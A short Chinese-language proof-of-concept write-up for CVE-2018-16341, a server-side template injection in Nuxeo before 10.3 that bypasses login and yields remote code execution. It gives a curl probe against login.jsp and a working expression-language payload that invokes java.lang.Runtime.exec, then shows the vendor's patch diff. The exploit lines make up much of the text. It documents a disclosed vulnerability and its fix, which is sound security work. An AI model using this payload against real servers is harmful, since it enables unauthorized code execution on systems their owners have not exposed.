利用 SSTI 绕过 Nuxeo 认证实现远程代码执行(版本 < 10.3)- CVE-2018-16341

详细分析(非英文):
安全公告:
注意:Nuxeo 9.x 版本已不再受支持,但已为 9.x 版本提供了热修复。就我而言,9.10 版本存在漏洞。
此 PoC 利用服务端模板注入(SSTI)来实现位于文件 NuxeoUnknownResource.java 中的远程代码执行(RCE)。
curl http://127.0.0.1:8080/nuxeo/login.jsp/pwn${-7+7}.xhtml"
${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("touch /tmp/pwn.txt",null).waitFor()}
修复
@@ -94,8 +92,13 @@ public void connect() throws IOException {
@Override
public InputStream getInputStream() throws IOException {
+ String message = "ERROR: facelet not found";
+ // NXP-25746
+ if (Framework.isDevModeSet() && !path.contains("$") && !path.contains("#")) {
+ message += " at '" + path + "'";
+ }
String msg = "<span><span style=\"color:red;font-weight:bold;\">"
- + StringEscapeUtils.escapeHtml4(errorMessage) + "</span><br/></span>";
+ + StringEscapeUtils.escapeHtml4(message) + "</span><br/></span>";
return new ByteArrayInputStream(msg.getBytes());
}
}